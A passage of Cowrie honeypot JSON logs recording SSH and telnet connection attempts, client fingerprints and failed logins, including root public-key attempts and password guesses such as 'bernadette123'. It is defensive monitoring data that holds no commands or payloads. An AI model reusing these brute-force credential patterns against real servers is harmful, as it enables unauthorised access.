{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:2d:49:f4:e1:3b:aa:13:61:bf:5a:67:bb:5f:3d:12","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJvA2oZo4VVbawnWb/cq+2rsGjyuwHpyjwfxHUUg1WseyvlbXWCnsWKCoRFTw5vQrUIo2Fdl9vdst6zFjxLOzLkqUscZOfDQkKAUW2tCv2ysowJVeS6INhlR9keRTmTDx3PoA4/dF/R9saSRByuIcaTuFDxSHqoh2Rj6oLlykubNAAAAFQDayrAvu7cXxmUtWRxYDo5ukqkr1QAAAIAo/s8ZdA4/U7wuxF7E6PYAl0xDjLlbOhdZmLg/XPYB6AFvo8h2In1bC7BpDX016R8KwCSoS5LVw+5oC8bDUGTIrkerN8t4OLgwCKV4KS1lwnWSgnVXtMTEHT3hclE9D6Sp//cray79BY0nwj4Ooyv4E0hgD1qvR3FPHtLUn1yn6gAAAIB7BXmeyqcBYPRGb/NRFxZp4GaTLa1TrORJ1a1Ot4qVaEkdnHi8i1qOBMq9PzxirMlJUIWOSOTNTfX3/DXkL5V7bH+I0UfPCvVek5IPuz4I0md8EMUNkXoN9mmS0lzNKEyd9oEA+qyBRkT+8SH472fr2zLcaIOrxUYbNED74udtng==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0a:2d:49:f4:e1:3b:aa:13:61:bf:5a:67:bb:5f:3d:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.970613Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:2d:49:f4:e1:3b:aa:13:61:bf:5a:67:bb:5f:3d:12","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJvA2oZo4VVbawnWb/cq+2rsGjyuwHpyjwfxHUUg1WseyvlbXWCnsWKCoRFTw5vQrUIo2Fdl9vdst6zFjxLOzLkqUscZOfDQkKAUW2tCv2ysowJVeS6INhlR9keRTmTDx3PoA4/dF/R9saSRByuIcaTuFDxSHqoh2Rj6oLlykubNAAAAFQDayrAvu7cXxmUtWRxYDo5ukqkr1QAAAIAo/s8ZdA4/U7wuxF7E6PYAl0xDjLlbOhdZmLg/XPYB6AFvo8h2In1bC7BpDX016R8KwCSoS5LVw+5oC8bDUGTIrkerN8t4OLgwCKV4KS1lwnWSgnVXtMTEHT3hclE9D6Sp//cray79BY0nwj4Ooyv4E0hgD1qvR3FPHtLUn1yn6gAAAIB7BXmeyqcBYPRGb/NRFxZp4GaTLa1TrORJ1a1Ot4qVaEkdnHi8i1qOBMq9PzxirMlJUIWOSOTNTfX3/DXkL5V7bH+I0UfPCvVek5IPuz4I0md8EMUNkXoN9mmS0lzNKEyd9oEA+qyBRkT+8SH472fr2zLcaIOrxUYbNED74udtng==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.974056Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:32:2f:8d:40:dc:7b:03:2e:56:66:6f:e7:93:8f:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoglYscCMEc2JLHBezUzV+r+Ry8QRSNuXfOkKLTo4CwPS/16Zfiuch67BBY1Gg/iaVHsHmzwuZbiS7CagFl2hrPe8Sj1yIdQpda2USO5+Cq5LR6h5GBNUvUXS1iK54StdIyeLocsEnRIEnzaaTadrENZJe2klIJWPApyFy1Q3nK9qJwlUh/bUYWyC+lTFZGvqmKNRPLDJMbauM99f9BTWXcQksL6gFuIUBBZLe245ztVPgfpJvQ+3RgIrQineiqJ+zN407SPZM58Ivl/9WcfPLRgvYFuo9hN14necwOhTtZLrdU4BWjGZO6wkxWC9pk2Oqd7qMyiplDqI/rPSucV9B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:32:2f:8d:40:dc:7b:03:2e:56:66:6f:e7:93:8f:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:38.060836Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:32:2f:8d:40:dc:7b:03:2e:56:66:6f:e7:93:8f:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoglYscCMEc2JLHBezUzV+r+Ry8QRSNuXfOkKLTo4CwPS/16Zfiuch67BBY1Gg/iaVHsHmzwuZbiS7CagFl2hrPe8Sj1yIdQpda2USO5+Cq5LR6h5GBNUvUXS1iK54StdIyeLocsEnRIEnzaaTadrENZJe2klIJWPApyFy1Q3nK9qJwlUh/bUYWyC+lTFZGvqmKNRPLDJMbauM99f9BTWXcQksL6gFuIUBBZLe245ztVPgfpJvQ+3RgIrQineiqJ+zN407SPZM58Ivl/9WcfPLRgvYFuo9hN14necwOhTtZLrdU4BWjGZO6wkxWC9pk2Oqd7qMyiplDqI/rPSucV9B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:38.064419Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:58:6d:77:fa:c2:d0:2c:dd:01:a6:57:6b:f8:6f:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBDfuU+eVNU9mBi15kpAqy8e7VO2ay/ydlnQfenxclTWRbU5TZV7lk8bIN1mlztOe+9GDCQ7YRAMhKMX1GJ1r7Yfqx7bfFpJcDMlHnGPWJrnq3e8F4JRyeLKRBUqjN/fjqJaEdcoK+joZ9HkqDaMGPj+5csWIdLfI7WX/7q8ySR40oj69wdkjItGA09X2ztfFmOP6KfdU0FroOsgOwwNihX6bmjgQRMuVpsNV9O7zWz0HmS4H+bruw/+vflYfWfsgb3QTZ2tZwf73KYqLjUbio2IjeA6tqjfZitOlA1Mc5AYBjx0TxLSd17ZzVWHV9T7BSr/lMxlvNUh1mtyut0NlD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:58:6d:77:fa:c2:d0:2c:dd:01:a6:57:6b:f8:6f:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:38.152253Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:58:6d:77:fa:c2:d0:2c:dd:01:a6:57:6b:f8:6f:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBDfuU+eVNU9mBi15kpAqy8e7VO2ay/ydlnQfenxclTWRbU5TZV7lk8bIN1mlztOe+9GDCQ7YRAMhKMX1GJ1r7Yfqx7bfFpJcDMlHnGPWJrnq3e8F4JRyeLKRBUqjN/fjqJaEdcoK+joZ9HkqDaMGPj+5csWIdLfI7WX/7q8ySR40oj69wdkjItGA09X2ztfFmOP6KfdU0FroOsgOwwNihX6bmjgQRMuVpsNV9O7zWz0HmS4H+bruw/+vflYfWfsgb3QTZ2tZwf73KYqLjUbio2IjeA6tqjfZitOlA1Mc5AYBjx0TxLSd17ZzVWHV9T7BSr/lMxlvNUh1mtyut0NlD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:38.156120Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:38.243961Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01473450660706,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:16.614422Z","src_ip":"212.55.149.117","session":"daacb74cacfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":65505,"dst_ip":"10.17.0.5","dst_port":22,"session":"974a39f41189","protocol":"ssh","message":"New connection: 213.209.159.56:65505 (10.17.0.5:22) [session: 974a39f41189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:16.631901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:16.640940Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:16.723632Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette","message":"login attempt [bernadette/bernadette] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:17.123050Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette1","message":"login attempt [bernadette/bernadette1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:18.208609Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette123","message":"login attempt [bernadette/bernadette123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:19.294737Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette1234","message":"login attempt [bernadette/bernadette1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:20.379523Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernadette","password":"bernadette12345","message":"login attempt [bernadette/bernadette12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:21.465722Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:55:22.551477Z","src_ip":"213.209.159.56","session":"974a39f41189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.191.124.195","src_port":51958,"dst_ip":"159.203.135.109","dst_port":23,"session":"70de272872b4","protocol":"telnet","message":"New connection: 180.191.124.195:51958 (159.203.135.109:23) [session: 70de272872b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:04.811694Z"}
{"eventid":"cowrie.session.closed","duration":12.345059633255005,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:17.156637Z","src_ip":"180.191.124.195","session":"70de272872b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":55793,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af3aaad3ae3","protocol":"telnet","message":"New connection: 212.55.149.117:55793 (10.17.0.5:23) [session: 1af3aaad3ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:19.995524Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":33385,"dst_ip":"10.17.0.5","dst_port":23,"session":"430ddc286969","protocol":"telnet","message":"New connection: 212.55.149.117:33385 (10.17.0.5:23) [session: 430ddc286969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:21.129771Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":37465,"dst_ip":"159.203.135.109","dst_port":22,"session":"b11f8dbc9508","protocol":"ssh","message":"New connection: 193.24.211.100:37465 (159.203.135.109:22) [session: b11f8dbc9508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:49.752568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:49.790423Z","src_ip":"193.24.211.100","session":"b11f8dbc9508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:49.861734Z","src_ip":"193.24.211.100","session":"b11f8dbc9508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mark","password":"mark","message":"login attempt [mark/mark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:50.286314Z","src_ip":"193.24.211.100","session":"b11f8dbc9508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:57:51.396426Z","src_ip":"193.24.211.100","session":"b11f8dbc9508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.235.26.80","src_port":55860,"dst_ip":"10.17.0.5","dst_port":22,"session":"f110cd908310","protocol":"ssh","message":"New connection: 167.235.26.80:55860 (10.17.0.5:22) [session: f110cd908310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:03.796471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:03.801949Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:03.893579Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:79:ce:de:87:85:28:22:b3:41:8f:cc:f1:df:de:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgoCf+JWcjoi1fPSosbAazwdYyq1ykcqi6ki9AkAhICWuBMPjM5N9lP7U4B5FXwbfK1pDVX7AeUji+ylwSwBALPn0bqWHH9WR8HafZiQNqxCCYhix5FLGb2PSocXQqNjCnu0stZqU3gWP6W4iDM2UzexMNMNri/Ht+oE2yGnOsHIFN2BVTZc/hntbAaZZHzZFRCIzd1UsivdP/w9HIbj+cqM+d2goSkhN+N+I9/2AzGj6P+At7IqEm171KKqhVQiCz5wWR4RiX1LL8kYstGahxBc7Bg0kGujjP3nTgRtEbxhkYWk2tsPOfZYSU+VZDCFPxg1STXzyHMRj0jhQLsQfh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:79:ce:de:87:85:28:22:b3:41:8f:cc:f1:df:de:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.329418Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:79:ce:de:87:85:28:22:b3:41:8f:cc:f1:df:de:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgoCf+JWcjoi1fPSosbAazwdYyq1ykcqi6ki9AkAhICWuBMPjM5N9lP7U4B5FXwbfK1pDVX7AeUji+ylwSwBALPn0bqWHH9WR8HafZiQNqxCCYhix5FLGb2PSocXQqNjCnu0stZqU3gWP6W4iDM2UzexMNMNri/Ht+oE2yGnOsHIFN2BVTZc/hntbAaZZHzZFRCIzd1UsivdP/w9HIbj+cqM+d2goSkhN+N+I9/2AzGj6P+At7IqEm171KKqhVQiCz5wWR4RiX1LL8kYstGahxBc7Bg0kGujjP3nTgRtEbxhkYWk2tsPOfZYSU+VZDCFPxg1STXzyHMRj0jhQLsQfh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.332781Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:82:02:37:d7:a5:0b:79:00:0d:73:03:6f:60:5c:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDak0BGzu5sqpL9/7s4uAPCAdvLDfYSQsauHtffQBrv+8ZFHx8299jiJH6BXlncWI5Y9bsLSsk+8AUm2+U/VrlzxGOmv+TmnK/hNyNJgzAbMhnD6APL71Uf3qe5XTiEao3aK/pBHZyELivRY//VTIHnpUDrP3FUdqhaAPtcPJn2ihsHjYRYrqwQBynr6RYuY46/8BUdUH3t4avJ3qDXXkauy0EGREufcwTRU4KEQkWKmj03W07YTeXdnU3nT7hUWk2DGNt25x7robJ9tD3jWTWmMiNRhFby9JiLtBqZGp3qF9H0rY7HeiUU6THXGua56gvvysc7bNRN+ho9sCwryxUh0ZJaMoZRqCWWVb2CeL/j4HiDNemnsHAsD3xikMUNqvtSYX1DmKyU3ELrGF9Yv5PUho9VeLTWDTbivR+SEo6xZOg9Pke3HeKPNwPeU1SziGT85xWM/H7Noe1myKt3Mb68rxCYFKcOjetvt9Usfz08NI2GsWLBWdyaamTp7ZdsXt6UgSs+r1PTAPaEZ1KWfCkbDnbizFx7x/+R8LepvOojLPPF2fDOVYGHG4L0IgIEB3Fy96cQIY71BHbCVJ8MF9WcHF/W7i7RCe6dG5+y92/FkIc6LcwV7Zt62StRHJUDR/kWxvXHBo+MK2JB8b2qajWSDAri4BjT1uvZzzj+gosPrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:82:02:37:d7:a5:0b:79:00:0d:73:03:6f:60:5c:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.426612Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:82:02:37:d7:a5:0b:79:00:0d:73:03:6f:60:5c:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDak0BGzu5sqpL9/7s4uAPCAdvLDfYSQsauHtffQBrv+8ZFHx8299jiJH6BXlncWI5Y9bsLSsk+8AUm2+U/VrlzxGOmv+TmnK/hNyNJgzAbMhnD6APL71Uf3qe5XTiEao3aK/pBHZyELivRY//VTIHnpUDrP3FUdqhaAPtcPJn2ihsHjYRYrqwQBynr6RYuY46/8BUdUH3t4avJ3qDXXkauy0EGREufcwTRU4KEQkWKmj03W07YTeXdnU3nT7hUWk2DGNt25x7robJ9tD3jWTWmMiNRhFby9JiLtBqZGp3qF9H0rY7HeiUU6THXGua56gvvysc7bNRN+ho9sCwryxUh0ZJaMoZRqCWWVb2CeL/j4HiDNemnsHAsD3xikMUNqvtSYX1DmKyU3ELrGF9Yv5PUho9VeLTWDTbivR+SEo6xZOg9Pke3HeKPNwPeU1SziGT85xWM/H7Noe1myKt3Mb68rxCYFKcOjetvt9Usfz08NI2GsWLBWdyaamTp7ZdsXt6UgSs+r1PTAPaEZ1KWfCkbDnbizFx7x/+R8LepvOojLPPF2fDOVYGHG4L0IgIEB3Fy96cQIY71BHbCVJ8MF9WcHF/W7i7RCe6dG5+y92/FkIc6LcwV7Zt62StRHJUDR/kWxvXHBo+MK2JB8b2qajWSDAri4BjT1uvZzzj+gosPrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.430830Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:0f:23:02:87:4a:c2:7e:0b:dd:26:5f:03:32:c2:75","key":"ssh-rsa 